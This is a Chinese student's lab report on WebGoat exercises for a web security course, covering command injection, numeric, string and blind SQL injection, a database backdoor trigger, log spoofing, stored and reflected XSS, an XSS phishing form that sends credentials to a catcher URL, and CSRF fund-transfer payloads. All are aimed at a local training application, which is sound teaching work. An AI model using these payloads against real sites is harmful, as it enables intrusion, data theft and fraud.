标签:exp 弹窗 start 组合 事件 mes 清除 主机 天气
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
(1)SQL注入攻击原理,如何防御
‘‘
、--
,#
等特殊字符,实现将某些语句注释掉,或是构造永真式,实现登录的目的。‘‘
、--
或是#
的符号。(2)XSS攻击的原理,如何防御
(3)CSRF攻击原理,如何防御
记住密码
,避免cookie的出现。WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
step1 检查端口:由于WebGoat是使用8080
端口进行工作的,所以使用前,要检查该端口是否被占用。
netstat -tupln | grep 8080
来检查端口是否被占用。kill 进程号
终止占用8080端口的进程。step2 下载并安装WebGoat:
java -version
查看jdk版本step3 开启并登录:
开启WebGoat:进入存在刚刚下载的webgoat-container-7.0.1-war-exec.jar
包的目录,输入java jar webgoat-container-7.0.1-war-exec.jar
进行开启。
在看到Starting ProtocolHandler ["http-bio-8080"]
这一条消息之后就表明开启成功了。
登录Webgoat:
http://localhost:8080/WebGoat
,如图所示,在登录框下面表格中有两组用户名和密码,可以直接登录。原理:在正常的参数提交过程中添加恶意代码,以执行某条命令。
目标:可以在主机上执行任何系统命令。
在左侧点击Injection Flaws
-> Command Injection
我们可以选择第一个AccessControlMatrix.help
,点击view
,看到如下执行结果。
接下来,我们做一下注入攻击,希望还是选择该选项,增加检查端口状态
和查询连接端口主机的IP地址的功能
。
右键点击复选框,选择Inspect Element
来审查网页元素,对源代码进行修改,我们可以在相应选项的末尾后面添加"& netstat -an & ipconfig
。
view
,我们可以看到相应的端口及连接端口的主机,攻击成功。原理:通过在字段中注入数字型数据(例如永真式),从而达到注入攻击的效果。
目标:本次实践中通过注入SQL字符达到查看所有城市的天气预报的效果。
在左侧点击Injection Flaws
-> Numeric SQL Injection
同样,右侧点击复选框,选择inspect Element
审查元素。这次,我们希望查询所有城市的天气预报,所以,我们要让网页前端传给后台的value值为永真式,才能达到迷惑后台,查询所有城市的效果。所以,我们要在value="101"
中的101
后面添加or 1=1
,使得value值
为 一个永真式。
Go
,出现绿对勾
,说明我们攻击成功,同时也可以看到所有城市的天气。原理:通过在日志中插入脚本实现欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。
本次实践目标:用户登录后下方日志会显示其在之前的所有行为,我们通过日志欺骗,让用户登录时下方只显示成功登录。
在左侧点击Injection Flaws
-> Log Spoofing
我们就之前打开WebGoat时表格上显示的用户webgoat
进行攻击。
在User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
,利用回车%0D
和空格%0A
让其在日志中两行显示。
随后,我们输入密码(在之前表格中有)后,点击Login
,可以看到webgoat
在Login Fail
那行中显示,我们自己添加的语句在下一行中显示。
admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息。本次实践目标:基于查询语句利用字符串型追方式构造自己的SQL,从而达到将所有信用卡信息显示出来的目的。
在左侧点击Injection Flaws
-> String SQL Injection
下面我们来构造SQL语句,我们可以随便选一个用户名(这个没有关系,我们要注入永真式,用户名正确与否无关)例如Smith
,我们知道正常的SQL搜索语句为select * FROM user_data WHERE last_name=‘Smith‘
,我们利用‘
提前闭合‘‘
,并且加上or 1=1 --
,or 1=1
是使这段语句变成永真式,--
语句是为了把后面的语句注释掉。这就形成了select * FROM user_data WHERE last_name=‘Smith‘ or 1=1 --
。
随后,我们点击Go!
,结果如下:
本次实践目标:通过使用SQL注入绕过后台进行攻击。
‘ or 1=1 --
进行登录。inpect Elements
,对元素长度进行修改。‘ or 1=1 --
,登录成功。原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
101
,可以输入101
来查看用户的信息。通过界面,我们可以看到输入的语句没有经过任何验证,很容易进行SQL注入。
比如,我们注入一段SQL语句,将101
用户中的salary
这一项改为10000
,输入101; update employee set salary=10000
,修改成功。
john@hackme.com
,输入语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘john@hackme.com‘ WHERE userid = NEW.userid
,我们可以看到注入成功。原理:某些SQL注入是没有明确的返回信息的,只能通过条件的“真”和“假”来进行判断,攻击者必须充分利用查询语句来构造子查询语句。
该题目要求:根据数字型盲注入,查找pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。
方法:该网站只能输入一个账号,判断该账号是否合法,使用该表单的返回信息(真或假)来测试数据库中其他条目的信息。我们找到了pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为整型,输入找到的数值并提交,通过改题目。
在该题目中,服务端的信息只有两种:无效或有效,因此我们并不能简单地查到帐号的PIN值。尽管如此,我们同样可以利用系统在后台的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;
,在帐号后面加入AND 查询语句
,如果页面返回帐号有效,则代表我们的查询语句是正确的,如果提示查询无效,则我们的查询语句是错误的。
例如,我们利用帐号101
,输入101 AND 1=1
,如图,页面返回Account number is valid
,因为1=1
是永真式,所以,语句的结果是正确的,页面返回的结果是账号正确的。
101 AND 1=2
,因为1=2
是一个结果为假的表达式,所以,语句的结果是错误的,页面返回的结果是账号错误。我们可以利用这一点进行查询。
针对AND
后面的语句,我们开始构造SQL的查询语句。首先,我们判断一下pin值是否大于7000,我们输入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
。如果页面返回帐号有效,则pin值就是大于7000.如果返回帐号无效,则pin值小于或等于7000。由此,我们可以利用二分法进行判断。
经过我们的判断,pin值为2364
,在输入框中输入2364
,提交,正确。
题目要求:到```pins```表中```cc_number```字段值为4321432143214321的记录中```pin字段```的数值。```pin字段```类型为```varchar```。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
与上一题目不同的是本题目查询的为字符串,我们需要用到Substring()
方法,语法为SUBSTRING(STRING,START,LENGTH)
。
我们输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘M‘ )
来获取pin的第一个字符,并判断其是否比M
小。
同样,经过二分法的测试,我们判断出了pin值为Jill
。
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,还可以任意构造用户当前浏览的HTML内容,从而模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
原理:在XSS的帮助下,我们可以实现钓鱼工具或向某些其他官方页面中增加内容,因为脚本在后台,受害者很难发现。
题目目标:创建一个form表单,让受害者填入用户名和密码,在后台中加入脚本,使服务器获取用户名和密码后传给攻击者。
<form name="justice">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
Search
框中输入该代码,则在下面出现输入用户名和密码的表单。WebGoat
。<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value);
}
</script>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value);
}
</script>
<form name="justice">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
在Search
框中输入该代码,则出现表单。
输入用户名和密码后,我们可以看到服务器返回登录名和密码。
原理:用户在表单中输入一段javascript脚本,这段脚本就会被保存在数据库中,当任何用户打开网页时,脚本就会从数据库中提取出来运行。
实践目的:写入非法消息内容,导致其他用户访问时载入非预期的页面和内容。
在Message中输入我们构造的语句<script>alert("20165203 attack successfully!");</script>
,Title可以任意输入,在这里输入学号5203
。提交后,可以发现我们刚刚发的帖子5203
。
点击这个帖子,就会发现弹出我们注入的那句话20165203 attack successfully!
,攻击成功。
原理:攻击者利用一个脚本创建一个URL,受害者一旦点击它就会受到攻击。
Enter your three digit access code:
栏中输入脚本<script>alert("Hey! You‘ve been attacked!");</script>
,点击Purchase
,成功显示警告框,内容就是我们在脚本中注入的内容。原理:伪装来自受信任用户的请求来利用受信任的网站。
目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
查看页面右侧Parameters
中的src
和menu
值,分别为319和900。
在title
中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=319&menu=900&transferFunds=5000" width="1" height="1" />
,该链接将以图片的形式(宽和高均设为1是为了隐藏该图片)放入Message
框,用户一旦点击这个图片,就会触发一个CSRF事件(转走用户的5000元),从而达到攻击的目的。
原理:CSRF通常是欺骗用户加载包含“伪造请求”的链接,从而达到获取用户的信息,利用这些信息去执行其他行为。但是如果链接有提示,提示“确认”或“取消”,那攻击就很难完成了。我们可以发出另一个链接,来达到绕过这个提示符的目的。
题目目标:与上一个题目类似,向新闻组发送多个包含恶意请求的链接,第一个链接是请求用于转移资金的,第二个是用于确认第一个请求触发的提示符,这次我们把链接伪造成一个屏幕,屏幕的参数```srceen```和```menu```右边的```Parameters```已经给出,我们一个链接通过参数```transferFunds=5000```来传输,另一个链接通过```transferFunds=CONTNETS```来传输,假如受害者收到了链接,又恰好点开了这两个链接通过了身份验证,则他的资金就会被转移。```
查看页面右侧的Parameters
中的src = 328
和menu=900
.
在title
中输入消息的名字,在Message
中输入代码:
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
Submit
,如图所示,攻击成功。本次实践是在Webgoat上完成的,根据指导,加深了我对SQL注入、XSS和CSRF的理解,正如老师说的那样,我们一定要知道自己目前在做什么操作,目的是什么,才能更好地理解整个攻击的脉络。
本次实验是最后一次实验了,虽然由于自己在学期末忙碌,所以放弃了免考的机会,但是我们对网络对抗的探索没有停止,自己通过本学期的实验确实增强了自主学习的能力和动手的能力,希望自己好好回顾本学期的知识,在期末考试中考一个好成绩。
2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础
标签:exp 弹窗 start 组合 事件 mes 清除 主机 天气
原文地址:https://www.cnblogs.com/20165203-xyx/p/10924577.html